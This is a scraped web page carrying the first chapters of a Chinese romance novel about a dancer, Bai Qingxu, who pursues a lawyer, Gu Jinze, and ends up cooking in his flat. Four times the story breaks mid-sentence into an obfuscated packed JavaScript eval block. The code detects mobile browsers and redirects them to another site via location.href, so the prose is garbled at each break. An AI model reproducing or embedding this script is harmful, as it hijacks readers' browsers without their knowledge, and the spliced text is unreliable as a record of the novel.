《醉》 1. 小酌 《醉》 文/史今朝 2022.9.9 “砰——”的一声后,没有任何过渡,一道充满力量感的旋律,瞬间响彻在偌大的场馆上空: “Stand up all the Night and call the Fight Let your Mind go wild before the Light Here wee the Army of the Night Mater Maria!” 音乐响起的同时,舞台中央,一束追光簌簌打下。 追光里的舞者,动作没有半分的循序渐进,而是势如破竹,长驱直入。 与这首不经铺垫便直入高潮的旋律瞬间便融为了一体。 此时,京溪已经进入初秋,舞台上的她,却依然一副盛夏装扮。 黑色贴身吊带配黑色热裤,白皙纤长的四肢线条裸露在外,格外吸睛,脚踩一双黑色板鞋,气质帅气洒脱。 追光下,她伴随着响起的旋律,力道精准如摆钟,动作飒爽如疾风。 从心脏迸发出来的沉着舞步,是能穿透观众目光的利器。 她的出现,如凭空掷下的一道惊雷,令万丈狂风肆意起,一眼便惊艳了在场所有人的眼睛。 不肖片刻,《Army Of The Night》的带感旋律化成疾风骤雨,在她周遭,摇旗呐喊。 所有观众,灵魂失重,心脏震颤。 “卧槽!这是从哪儿请来的大佛!” “我的天呐女人帅起来真没男人什么事了。” “有没有男朋友啊!想追!” “啊啊啊姐姐性别别卡得那么死!” 舞台,灯光,音乐,观众,以及,最重要的灵魂人物—— 表演者。 上述元素掺杂在一起,很容易让人联想到一些场景。 但眼前这个高大上的现场,并不是什么演唱会,更不是什么舞者pk,而是一个宣传片的拍摄现场。 原定的舞者不守约定,直接放了整个拍摄团队的鸽子。 这个场地,先不说租金不菲,最重要的是档期太难约,今天不拍下一次不一定什么时候才能约到,偏偏甲方又急着要成果,因此可把导演唐若冰给愁坏了。 万不得已之际,她抱着一丝不太大的希望,拨通了一个电话。 凑巧的是,对方正好在国内。 这个人便是被她拉过来临时救场的白清许。 不知不觉间,耳边的最后一缕旋律停下。 看到唐若冰朝舞台上比了一个ok的手势,白清许便跳下了舞台,动作利落,没有任何的拖泥带水。 唐若冰从监视器后面站起来,朝她挑挑眉:“谢了!” 白清许潇洒地朝她挥了挥手,俯身拿起自己的黑色皮质双肩包,背在一个肩膀上,边往外走边说:“我这场可不白救,我拜托你的事你记得给我搞定。” 唐若冰:“小意思,放心。” 白清许再次见到唐若冰是在一周后。 两人都是爽快人,一碰面,没那么多寒暄,唐若冰便直入主题道:“让电视台的朋友帮我问过了,没有女朋友,听说还是母胎solo。” “真的假的?没谈过恋爱?”听到这儿,白清许有些意外,“不应该啊。” “这有什么不应该的,眼光高呗。”唐若冰看着白清许,忽然笑了声,下结论道:“跟你一样。” 她这结论下得倒是没错。 白清许这姑娘眼光确实是高,不过,她眼光高这件事,也不能怪她。 谁让她有两个太牛逼的哥呢。 亲哥白清让,温文尔雅,表哥席砚卿,清冷矜贵。 她这两个哥往那一站,她从小看男人的眼光便眼高于顶,遇到一个让她动心的男人,可谓是难上加难。 直到两个月前,她无意间看到了一个男人。 就是吧,她看到的途径,听起来有点不靠谱。 她是在一档电视节目上看到的。 也是通过这档电视节目,白清许在心里默默记下了七个字:蓝仲律所 顾锦泽。 节目里,他坐在最靠近镜头的位置,面对职场新人的表现,不屑于喂鸡汤,亦没有任何居高临下的说教,说出来的话,一针见血,又温柔中肯。 面对法律的专业知识,他更是信手拈来,漫不经心又游刃有余。 任何人都没有办法去否认他的耀眼和出众。 “这节目没有现场观众,你要是真想去,我帮你想办法,不过,得过一段时间,听说他去美国出差了,我还听说,如果没赶回来,就让他同事上。”唐若冰越说越来劲,“欸,你知道么,他那个律所,另一个律师也绝绝子。” 话音刚落,唐若冰看到白清许瞬间焉下来的失落表情,心里一想,有些不可思议地问了句:“不是,你对那个顾律师,是认真的?” 白清许抬眼:“废话!我当然是认真的!” 她心动一次很不容易的好吗! 唐若冰:“你要是认真的,那我可就不藏着掖着了。” 白清许:“嗯?” 唐若冰:“我手里有张王牌,你要不要用?” 白清许:“有王牌还不赶紧亮出来!你还把不把我当姐们了!” 结果,还没等唐若冰亮出自己的王牌,白清许的手机便见缝插针地响了起来。 白清许看了眼来电显示,丝毫不敢怠慢,赶紧毕恭毕敬地接起:“尊敬的父亲大人,您好。” 手机那端立刻传来白令湛正经严肃的声音:“你在哪呢?” 白清许:“在我深深爱着的祖国。” 白令湛:“……” “别贫,我打电话是要跟你说个正事。” “是是是,您说您说。” “你哥今天出庭了,你知道吗?” “我哥?出庭?”白清许听了,眉头下意识蹙起,“您别逗我,怎么可能?” 几年前,发生过一件不太好的事情,因此,她哥白清让再也没有踏入过法庭。 白令湛言简意赅地说:“你自己看照片。” 看到老爹给自己发来的照片,白清许直接一个惊呼:“卧槽!” 白令湛这会儿也顾不得他家这个“假小子”口出狂言了,交待道:“我实在是放心不下,你赶紧去看看。” 白清许:“行行行,我马上就去。” 挂了电话,白清许拎起背包便站起了身:“我突然有点急事,先走了,回头再约!” “欸,我手中的……”唐若冰后半句“王牌你不要了”梗在喉咙里,没能说出来。 从咖啡店出来,白清许动作利落地启动了车子,往西城法院开去。 路程开到一半的时候,她苦等的电话终于回了过来,接通后,她声音焦急地问:“哥,你没事吧?” 白清让:“我能有什么事,爸刚打电话跟我说了,你们这就纯属瞎操心。” “行,没事就好,”白清许不跟他来虚的,“没事那我就掉头了,正好我忙着呢。” 白清让却叫住她:“不准掉头。” 白清许:“?” “正好我来的时候没开车,你过来接我一趟。” “我能不接吗?”她忽然想起来,唐若冰手里的王牌还没给她。 “当然可以,”白清让悠悠然道,“只要你不怕我把你的事告诉爸。” 白清许:“……” 什么温文尔雅! 分明是阴险狡诈! - 西城法院。 一场庭审刚刚结束。 顾锦泽为了收集证据去了趟国外,结果又因为流控原因,飞机降落在了临市,他坐高铁赶回来的时候,庭审已经结束。 此刻,周围已经恢复了往日的有序,顾锦泽正往停车场走着,突然之间一张大手遮住了他的视线,知道是谁后,他动作利落地地把那张手拽了下来,睨了他一眼,没好气地问:“你干什么?” 徐滨松看着天桥上的那一双璧人,实话实话:“这不是怕你看着这一幕难受吗?” 天桥之上,一男一女紧紧牵着手,任谁看起来,都是相当令人艳羡的一对。 “谁跟你说我难受了?”顾锦泽瞪他一眼,继续往停车场走。 “你说你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾锦泽和徐滨松反应过来两个人的动作之后,看着对方,相当嫌弃地“咦”了一声,然后像避开瘟疫一样,掸着各自的手臂,瞬间离对方远远的。 徐滨松往后退了两步,一抬眼便看到了刚才那个撞到他的女生,察觉到眼前这姑娘饱含深意的目光,他忙摆手解释道:“姑娘,你别误会啊,我俩都是直男。” 白清许听了,挥挥手,一脸了然地笑:“我都知道都知道,不用解释。” 徐滨松一品她这个好整以暇的眼神,觉得坏事了,又添一句:“我俩真是直男,都喜欢女的!不信你看,他喜欢的姑娘就在那儿呢!” 听到这句话,顾锦泽瞬间急了:“徐滨松!你活腻了是不是!” 砰砰砰! 心脏一阵乱跳! 好熟悉的声音! “顾锦泽?” 白清许试探性地喊了声,然后,噌的一声,迈着大步跑到顾锦泽面前,仔仔细细地从上到下打量了一番:“你是顾锦泽是不是!就是那个法律节目里的律师是不是!啊!我超级喜欢你!你能给我签个名吗!” 说完,也不等顾锦泽回复,她便弯下腰来,开始在背包里找笔和本。 顾锦泽被她这一通操作打得措手不及,一时间愣在了原地。 “啊!找到了!”白清许从背包里拿出了一个精致的笔和本子,“就签在......” 结果,话还没说完,身后就突然传来了一句:“白清许!你火急火燎地干什么呢!” 白清许一回头,看到她哥白清让正一脸严肃地朝这边走过来。 看到他,白清许立马抬手招呼道:“哥!顾锦泽!活的!活的顾锦泽!” 顾锦泽:“......” 这事实陈述的,还挺瘆人。 “不准没大没小!”白清让走到她面前,先是呵斥了她一声,然后跟顾锦泽道歉,“不好意思顾律师,我这妹妹,说话总是不经过大脑。” “什么叫不经过大脑!”白清许对她哥的这种行为无语得很,不服气地指了指自己的脑袋,“那这个东西是什么?” 白清让瞥她一眼,低低笑了声,逗她:“豆腐脑。” 白清许:“......” 没想到她哥在外人面前会这么不给自己面子,白清许那抬高的食指就这样悬在半空,忘了放下。 顾锦泽看了眼。 也不知怎么的,就笑出了声。 2. 小酌 初秋的京溪城,天气总是多变,你一句我一句间,没有任何预兆地,空中竟飘起了毛毛细雨。 怕等会儿越下越大,于是几个人匆匆告了别,各自往各自的停车位走去。 白清许见状,瞬间急了,朝那个身影喊道:“顾律师,等一下,你还没给我签名呢,实在不行,咱俩加个联系方式也行啊!” 白清让听了,跟嫌丢人一样,一把把人给拽走了。 白清许:“......” 就无语。 - 顾锦泽回到家的时候,天色已晚。 地处黄金地段的复式顶层,装潢精简大气,巨大的落地窗外,这座城的夜景,美不胜收。 但顾锦泽无心欣赏,高压出差加上长途飞行,早已让他疲惫不已,连带着喉间也莫名涌上一股躁意。 他微微蹙了下眉,然后将车钥匙一扔,一边解领带一边往餐厅走去。 走到餐桌前,他抬手脱了外面的西装,将其搭在了椅子背后,然后,又将黑色衬衫挽至手肘下端,露出一截精瘦有力的手臂,微凸的筋骨泛着一种性感的线条感。 走到餐厅,他抬手从酒柜里拿了一个杯子出来,刚放在桌面上,旁边的手机便响了起来。 他垂眸看了眼来电显示,按下了接通键,很快,郑雪柔温柔的声音便传了过来:“在哪儿呢,儿子?” 顾锦泽打开冰箱的冷冻层,从里面夹了几块冰块出来,说:“在家。” “还没吃晚饭呢吧,”郑雪柔对她儿子向来是了如指掌,“来,让我猜猜,是不是正在从冰箱里往外拿冰块,准备小酌一杯。” 顾锦泽听了,手指一顿,陷入一阵沉默。 郑雪柔一副“知子莫若母”的语气:“怎么不说话了,都被我猜中了吧。” 话音刚落,她瞬间跟换了张脸一样,刚才温和的语气顷刻间不复存在,音调猛地拔高:“顾锦泽,你要是再敢这么糊弄自己,我现在就退学回家给你做饭!” 去年,在顾锦泽的建议下,郑雪柔去了新加坡游学。 年过五十的人出国游学,放在大众标准下,多少有些疯狂和不可思议。 但在顾锦泽心中,年龄从来不应该是人生的设限。 对于梦想,不完成才是遗憾;晚点完成,只是一种迟来的完满。 听到电话那端又开始威胁人,顾锦泽抬手,捏了捏太阳穴,谎言信手拈来:“我没糊弄自己,我刚煮了意大利面,正准备吃。” 郑雪柔:“那你给我开视频。” 顾锦泽:“......” 见他沉默,郑雪柔步步为营地道出了这通电话的真正目的:“对了,你还记得你杜姨么,她前两天给我打电话,说她们家前一段请了个私厨,那日子美得哟,我天天看她晒的照片跟看艺术照一样,所以,我在想着,要不要给你找个私厨,天天管你一日三餐。” 顾锦泽简直是服了他老妈这想一出是一出的行为:“我说您可歇会儿吧,我这一天才在家待几个小时啊,还请私厨?”说着,他拿起杯子喝了口水,“您怎么不直接给我请个保姆,不仅会做饭,还能打扫卫生,一举两得,多好。” “你懂什么,”郑雪柔道,“我跟你说,现在对私厨的要求可高了,尤其是高端私厨,都得走后门才能约到,并且人家随做随走,一点都不妨碍你休息。” 顾锦泽果断拒绝:“不需要,我不习惯家里有陌生人。” 郑雪柔:“那以后你每天都把你的一日三餐拍给我看。” 她话音刚落,说时迟那时快,顾锦泽胃部突然泛起一阵隐隐的疼痛,他抬手摁了摁,语气尽量维持平静地回:“我天天忙成什么样了,哪有功夫给您拍这个。” 郑雪柔:“那你就听我的,我跟你说......” “妈,”顾锦泽狠狠闭了下眼,打断道,“我飞了快一天,有点累,先睡了,明天有时间给您回,您也早点休息。” - “哥,”回到家,白清许便拽着他哥不放手,“你就给我顾锦泽律师的联系方式嘛!” 白清让挑眉看她:“你要人家的联系方式干什么?” “哎呀,”她欲盖弥彰道,“就我那个工作室,平常签合同,也需要一些商务往来,我需要让律师帮我过过目啊。” “行了,你这座小庙可请不起他那尊大佛,你知道他收费多贵么?”白清让说,“这样吧,我给你推荐个人,足够你用了,还经济实惠。” 白清许:“......” 这边寻找无果,白清许转念一想,又转战到了发小唐若冰那里。 结果,给她打了一晚上的电话都是关机,琢磨了下,这情况肯定是又临时出国拍节目去了。 联系方式没要到,但该睡的觉还是得睡。 翌日早晨,白清许睡到自然醒,在家里悠哉悠哉地吃了顿午餐,然后才往工作室去。 刚到门口,还没等感应门完全打开,她就看到合伙人季潜迎了过来:“祖宗您可算是来了。” 白清许见状,脚步未停,双手交叉在胸前,慢悠悠地往办公桌走着,语气慵懒散漫地回:“听听你这话叫的,新一期的设计稿我不是早就交了么。” “不是催你设计稿,是采访邀约,京央电视台,还是专访,”季潜一脸激动地说,“光宗耀祖了,我的姐!” “还光宗耀祖呢,你也不想想,要是被我爸看到了,我还能有好日子过么,以后这事直接给我回绝就行,”说着,白清许摘下墨镜,自行把这件事翻了篇,眉梢轻挑了下,问季潜,“对了,[见我]那边给回复了没?” “哦,对,我正要跟你说,细节都谈妥了,说是让找个时间过去签合同。” 白清许听了,双手握成拳,自己给自己打了个气:“YES!” [见我]是一家动画制作公司,过去一年里,接连上映了《盘古》和《长大辛苦了,小朋友》两个风格迥异的动漫电影,且票房皆是大爆,随着创作团队的日益壮大,公司除了在电影创作线上继续精进,他们还把目光投向了泡面番,打算制作一部温馨治愈的美食动漫。 说到美食,除了对食物的刻画,还有一部分,便是餐具。 其实,餐具的刻画并不难,但对于[见我]这样“龟毛”的公司来说,力图每个细节都做到完美。 去年,一个名为“Augenstern”的创作者,在国际餐具设计大赛上斩获创意大奖,[见我]的工作人员,费了好大的劲儿,才顺藤摸瓜地找到了这些设计手稿背后真正的主人公,白清许。 合作因此成行。 不过,白清许之所以这么激动,除了自己是[见我]的粉丝,还有一些私人的原因。 不过,还没等她跟季潜细聊,包里的手机便响了起来。 是昨晚一直没打通电话的唐若冰。 “哎哟喂,您老还记得我呢。”白清许接通电话后,故意阴阳怪气道。 “这边的拍摄临时出了点问题,我昨晚妆卸一半就立刻开车去了机场,”唐若冰跟她吐着满肚子的苦水,“干什么都别干媒体,真的能把人磨到没脾气。” 后面,她又巴拉巴拉说了一堆,白清许就安安静静地听着,也不打断。 等她发泄完,浑身都畅快了之后,白清许才问起了她昨天没来得及说出的话:“对了,上次你说你手里的王牌......” 她打电话的时候,季潜就站在她身边,然后,他便眼睁睁地看着白清许的表情,从一脸惊讶,到一脸惊喜,最后甚至,还看出了点..... 不怀好意。 不怀好意? 不能吧? 于是,季潜又确认了下。 嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265964|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不怀好意。 - 相隔两个环路的蓝仲律所。 顾锦泽坐在办公桌后,接过池漾送过来的领证喜糖,问她:“婚礼定什么时候?” 池漾:“元旦。” “好日子,”他眉眼含笑地说,“领证快乐。” “谢谢。”池漾说,“昨天,也谢谢。” 她是在感谢,他不远万里,收集证据。 顾锦泽听了,轻轻笑了声:“我也没帮上什么忙。” 毕竟,那些证据,根本没能用上。 “不,你帮上的可是大忙。” 池漾看着他,目光里的谢意,坦荡又明亮,“你是我坐在台上的底气,更是我从业至此,一直仰望的标杆和旗帜。” 顾锦泽听着这番话,握紧的双手莫名松了松。 “师哥,”这次,池漾没叫他顾总或者是顾律师,“你一定会幸福的。” 顾锦泽看着她,轻轻笑了声:“知道了。” 然后,抬眼,目送她离开。 从十年前的那次偶然邂逅,她用一句“所有甘甜,发轫于苦涩”将他失落的心拾起,然后,惊艳了他整个青春期。 到后来,两个人一同异国求学,回国之后,又一起创业打拼。 直到现在,他看着她,嫁为人妻。 十年,真的太久了。 再理性的人,回顾起来,也难免百感交集。 跟池漾打了个照面进来的徐滨松观察到他饱含深意的目光,戏谑道:“人家一姑娘都大大方方的,不知道你在墨迹个什么劲。” “你才墨迹!”顾锦泽瞪了他一眼,站起身,在西装外面穿了件风衣,拿起公文包,“走了,等会儿出去帮我把门带上。” 徐滨松:“去哪儿?” 顾锦泽:“下班,回家。” “不是吧,这才几点啊,”徐滨松垂眸看了眼手表,不可思议道,“工作狂魔竟然要下班回家?你一个孤寡老人回家能干什么。” 顾锦泽:“吃意大利面。” 徐滨松:“......” 当然,说吃意大利面肯定是开玩笑,他这人在吃上,向来是能对付就对付,哪会有那个闲情去煮。 因此,回到家之后,顾锦泽先进浴室冲了个澡。 洗到一半的时候,他耳尖地听到外面好像传来了一阵细小的动静,结果,再一去听,没了。 想到这个小区堪称精密的安保系统,他倒是没多疑,安安生生地洗完澡,然后,围了个浴巾就出来了。 结果,刚从浴室走出,比刚才那个动静还要明显的脚步声便响了起来。 顾锦泽脚步一顿,还没来得及做出任何应急反应,就看到餐厅里站着一个女人。 穿着围裙,一手拿着菜刀,一手拿着锅铲。 定睛一看,这人他竟然还有过一面之缘? 顾锦泽:“???” 谁能告诉他,这他妈到底是什么情况? 至于白清许,倒是没想到,过来第一天就能收获这样的美色盛景。 眼前这个男人刚洗完澡,头发还未来得及吹干,微湿的碎发垂在额前,半遮半掩住他凌厉眉峰和深邃眼窝。 白清许看着,目光下意识往下,然后便一眼看到他了利落凸出的喉结以及宽阔平直的肩背,再往下,是他白皙流畅的胸肌曲线,像是漫画家精心雕琢的线条,腹部,肌肉群块垒分明,人鱼线收腰入胯,还未来得及擦干的身体,挂着细细水珠,天生诱惑。 半截浴巾围在腰间,遮住重要部位,却遮不住浑身成熟男人的味道,真是一寸一厘,都勾人得很。 白清许:“!!!!!!” 卧槽卧槽卧槽! 今天就是天王老子来了也别想拦住我! 我白清许! 一定要睡到这个男人! 3. 小酌 电光火石间,白清许脑子里飕飕闪过无数的黄色染料,甚至连细节都想好了。 不过,心中澎湃,面上却丝毫不显,一脸的纯真无辜。 毕竟,白清许的长相就如她的名字一样,属于清冷那一挂,冷白皮,眼尾弧度平直,这样的人,不笑冷漠,笑起来又让人如沐春风。 总结起来,就是进可攻退可守的长相。 中性装扮潇洒帅气,但长发一散,长裙一穿,弯眉一笑时,又让人觉得很容易沾染上人间烟火气。 也因此,顾锦泽刚才差点没认出来。 毕竟,上次见面,她一身黑,如疾风般掠过他的身侧。 那天,她刚跳完舞,衣服都没来得及换,穿的还是跳舞那一身。只不过细吊带外面罩了一件黑色短款皮夹克,下面的同色系短裤,包裹着她比例优美的臀部曲线,一双白花花的大长腿就露在外面,跟不怕冷一样,打眼得很。 顾锦泽不知道她会跳舞,还以为她是飙车过来的。 他当时还琢磨,这姑娘跟她哥的气质怎么一点都不像。 现在看来,还是有些共同点在的。 今天,她穿着皮粉色的针织长裙,站在他面前,素面朝天,未施粉黛,却更显眉清目秀。 片刻过去,顾锦泽脑海里的惊讶早已消退,也顺带着联想到郑雪柔跟他提过的“私厨”,以及白清让偶尔提到过的一些话,看着白清许的状态,顾锦泽在心中把可能性猜了个八.九不离十,正想求证一下,结果还没等他问清楚,门铃便响了起来。 顾锦泽一看这时间点,应该是律所的律师过来给他送资料。 毕竟,对他来说,早回家根本只是个说辞,实际上只不过是换个地方工作而已。 来的是他的助理律师,性别男,因此,他这身装扮见人倒是无所谓,问题是家里有个女人真的不好解释。 顾锦泽无奈,只有叫她:“白小姐。” 白清许反应了下才应声:“嗯?” “请你先往后退退,”顾锦泽提出折中之策,“我开个门。” 白清许讷讷应下:“哦......” 说完,往门后退了两步。 脚步动的同时,眼睛也没闲着,偷偷瞄着顾锦泽的背影。 然后,更加确定了—— 一定要把这个男人睡到手! 顾锦泽不知她心中所想,只想速战速决,动作利落地打开了门。 来的确实是他的助理律师蒋嘉末。 听到门开,蒋嘉末低头,从公文包里拿出他需要的资料递了过去,边递边说:“顾律师,这是您需要的......” 说着说着,没音了。 卧槽啊! 这这这...... 这什么极品身材! 这是我能免费看的吗? 结果,还没等他感叹完一整句话,他就看到,顾锦泽身后突然出现了...... 一把刀? 第一眼,蒋嘉末还以为是自己看错了,定睛再一看,确实是一把刀。 一把刀! 蒋嘉末见状,瞬间瞪大了眼:“!!!” 卧槽!!! 此时夕阳正盛,落进来的落日余晖经由刀面一反射,闪着明晃晃的光,锋利得像是瞬间就能置人于死地。 险境当前,蒋嘉末心里害怕得很,但他从来没想过要逃跑,而是长呼了一口气,提醒自己千万不能慌。 他冷静片刻,重重咽了下喉咙,克制住自己的紧张,轻声试探着问:“顾律师,你是一个人在家吗?” 顾锦泽接过他递来的文件,多一事不如少一事地撒谎道:“嗯。” 说完,就准备关上门。 蒋嘉末脑海里设想了一下关上门之后的事情,本能反应启动,抬手抑制住了他关门的举动。 也因为他这个动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265965|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,门开的幅度比刚才更大,然后,蒋嘉末就看到持刀者或许是受到了惊吓,往后退了一步,那把刀也在他的视线里一闪而过。 蒋嘉末:“!!!” 看来是个作案老手! 冷静冷静! 不能慌! 不能激怒他,一定要先稳住稳住稳住! 蒋嘉末拼命稳住自己,开始疯狂朝顾锦泽眨眼。 顾锦泽:“???” 他没懂蒋嘉末这一通操作,有点着急地问:“你还有事?” 他确实是有点急了,本想快刀斩乱麻,却发展成了现在这个局面。 且不说家里有个女人,他这个样子本就失态,纵然是同性,顾锦泽也不愿意以这种样子见人。 但蒋嘉末又完全会错了意。 看他这样焦急,蒋嘉末又开始思考另一种可能,那就是他老板是不是受到了一些威胁才被迫说谎。 于是,他灵思一动,问道:“是这样,店里今天筷子不够,就送了一双筷子,够吗?” ——旁敲侧击地问他,屋子一共有几个人? 顾锦泽简直是没理解他的脑回路:“什么筷子?” 他不接招,蒋嘉末又问:“那有没有垃圾,需要我带下去吗?” 说着,身子就往门内探。 顾锦泽抑制住他往里看的动作,说:“不用,东西送到了,你可以下班了。” 说完,又抬手准备关门,蒋嘉末就是趁着这个空档,拽着顾锦泽的手,猛地往外一拉。 然后,他以极快的速度迅速冲进了屋内,目光先是锁定那把刀,然后,大步上前,钳住持刀人的胳膊,抬手把刀扔得远远的。 白清许忽然手肘一阵吃痛,还没反应过来,就被人撂倒在地。 蒋嘉末把人扣下,转头对着顾锦泽喊:“顾律!快报警!” 白清许:“???” 我他妈? 4. 小酌 事态发展的结果,是蒋嘉末连连道歉后,狼狈地落荒而逃。 从顾锦泽家里走出来,他脑海中蓦地浮现一个很严重的问题,那就是—— 得罪未来老板娘了怎么办? 后来,转念一想—— 从尴尬里走出来,是每个社会人的必修课。 只要我不尴尬,尴尬的就是别人。 蒋嘉末! 你可以的! 离开社死现场的他倒是轻而易举想通了,还在社死现场的两个人则是面面相觑。 饶是见过不少大场面的顾锦泽,也被当下这情况打了个措手不及,他无奈地空咽了下喉咙,看着白清许,说:“你去卫生间整理一下吧。” 趁她整理的功夫,顾锦泽赶紧去了卧室,正准备换衣服,就看到了郑雪柔给他发的微信:【儿子,老妈给你准备了一个惊喜,等你回家就能看到了。】 底下还跟了一个充满少女感的表情包:【比心.jpg】 顾锦泽简直无语到极点:【我谢谢您,惊喜已经成功转化为惊吓。】 刚把消息发送过去,郑雪柔的电话就打了过来,他刚按下接通键,就听到她直入主题地问:“什么情况,难道你已经回家了?” 顾锦泽擦干身体,从衣柜里拿出一件T恤换上,淡淡道:“嗯。” “你今天怎么下班这么早?” “还不是您说我要是不好好吃饭,就准备退学回家了么,”顾锦泽笑得一脸无奈,“我能让您做这种事?” 郑雪柔听了,又问:“那你跟那小姑娘打上照面了没?” 顾锦泽:“......” 他很想说,不是打上照面了,是打上了。 他沉默的功夫,郑雪柔倒是越说越来劲:“你杜姨精挑细选的,意大利留学回来的,做意大利面一绝。” 顾锦泽:“......” 他上次说想吃意大利面,真的是随口一说。 “听说这姑娘是学设计的,利用课余时间学的西餐,人家轻易不接私活的,我这是好不容易才请来的,你可得好好对人家,正好,你不是也说自己忙么,有这小姑娘在,我也不需要你每天给我拍照打卡,你就好好把饭吃了就行。” 顾锦泽抬手揉了揉太阳穴,头疼得很:“妈,我都跟您说了,我不习惯......” “行了行了,这事就这么定了,”郑雪柔强势截断他的话,“我要去看话剧了,先挂了啊。” 顾锦泽:“......” 利落地换好衣服,他便赶紧从卧室走了出来,还顺手拿出了医药箱。 过了会儿,他就看到白清许也从卫生间里走出来了。 “白小姐。”顾锦泽叫她。 白清许听着这称呼,一边朝他走近一边嘟囔:“你能别叫我白小姐么。” 生分得很。 “那叫你什么?” “叫我清许就好。” 顾锦泽觉得这称呼有点亲昵,想了想,还是选择连名带姓地叫她:“白清许。” 这样......也行吧。 看她没说话,顾锦泽朝她招招手:“过来。” “干嘛?” “给你擦药。” 刚才那么大的动静,她手肘处不可避免地,有了一些轻微的擦伤。 白清许走到他身边坐下,把胳膊递给了他,顾锦泽动作娴熟地开始给她处理伤口。 他刚才换上了一件白色圆领T恤和黑色休闲长裤,温和居家的装扮,削减了一些他身上部分生人勿近的精英感,挺直鼻梁上架着的那副金色细边眼镜,被落进来的光线一照,泛着细碎的光。 不过,不同于电视节目上目光的精准专注,此刻,他眼尾微垂,锋芒尽敛。 白清许就这样,坐在离他近在咫尺的地方,肆无忌惮地将其打量。 他微低着头,拿着棉签为她消毒,弧度完美的手部骨节,让他清理伤口的动作像是在雕琢艺术品,白清许想,这男人真的是太带劲了,仅凭一双手就能让人赏心悦目。 她沉迷美色无法自拔,顾锦泽则是愧疚得很。 “对不起。”没有主语的一声道歉,没有任何预兆的响起。 闻言,白清许目光有片刻的停顿。 意识到他是什么意思之后,她才有些不满地轻哼了一声:“都怪你说自己一个人在家。” 顾锦泽把她最后一点伤口处理好,又道:“是我失策了,抱歉。” 语气诚恳得,像是做错了事情的小孩。 这样子跟电视上的精英律师反差也太大了,白清许看了,莫名很想笑。 结果,还没等她笑出来,就听到他又来了句: “你今天过后就不用来了。” 白清许:“???” 不是吧,这人有没有良心啊,她刚受了这么大的委屈,他转身就把她给辞退了? 这可是她姐们费尽周折才给她换来的工作机会啊! 结果,郁闷的情绪还没持续一秒钟,就又听到他说:“不过,工资我会照付。” 白清许:“???” “什么?”白清许虽然没能瞬间读懂这个要求背后的深意,但她直觉这个买卖对他来说不合算,“这不好吧。” “没什么不好的,”顾锦泽把医药箱收好,“我也不白付。” “嗯?” “你每天把做饭的照片发给我就行。” 白清许:“???” 什么意思? 让她空手套白狼? 看她茫然,顾锦泽跟她实话实说:“我工作很忙,作息不规律,也经常出差,你配合我的作息会很辛苦。” 白清许听了,没接话,静静看着他。 这眼神很温和,却又有着一种能感染人的神奇力量。 顾锦泽无意识地将目光停留在她身上,片刻后,他才有些不自然地别开眼睛,说完自己的话:“所以,就按照我说的这个办法来,这样我妈放心,你也不用太奔波,我们双赢。” 白清许:“那你呢?你没赢啊。” 此话一出,顾锦泽目光猛地一滞。 这样好的差事,他本以为她会开开心心地应下,却没想到,她的第一反应竟然是反问他:“那你呢?你没赢啊。” 这反问的语气,太真实,太自然,也太直白,直接打了他一个措手不及。 当下,他找不到合适的词来形容这种感觉。 “白小姐。” “我刚说了,你不要叫我......” “白清许,”顾锦泽立刻纠正过来称呼,“我这个人独居惯了,非常不习惯家里有人,家里多一个人,”他顿了下,斟酌着用词,“会给我造成一定的困扰。” 白清许:“......” 话都说到这份上了,她再坚持就有些胡搅蛮缠了。 这条靠近他的路没有走通,固然是有些遗憾,但她从不强人所难。 于是,白清许动作利落地从沙发上站了起来,说:“既然这样,那我就先走了,如果你需要交差,我可以帮你,不过你不用支付我报酬,本来我过来也是为了还杜老师一个人情,这都是我分内......” 结果,还没等她把话说完,口袋里的手机突然响了起来。 她看了眼来电显示,说:“我可以先接个电话吗?” 顾锦泽:“请便。” 说完,他便拿着医药箱去了卧室,给她预留出私人空间。 白清许按下接通键,那边立刻就传来了一个带着哭腔的小奶音:“干妈,干妈......” “书书?”听到宋书书的哭声,白清许心一下子提了起来,“你在哪呢?” “在家......爸爸来了......妈妈她,她刚才哭了......” “书书不怕,”白清许轻声安抚道,“干妈马上就过去啊,你乖乖的,好不好?” “嗯。” 挂了电话,白清许立刻打开网约车软件开始打车,她的车今天限号,开不了。 正要选择上车地点的时候,顾锦泽正好从卧室走了出来。 白清许看到他,一脸焦急地问:“顾律师,能麻烦你告诉我,让司机去哪个门口接比较近吗?我这边有点急事。” 顾锦泽一听,没有任何犹豫,拿上车钥匙就往外走: “我送你。” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265966|166566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 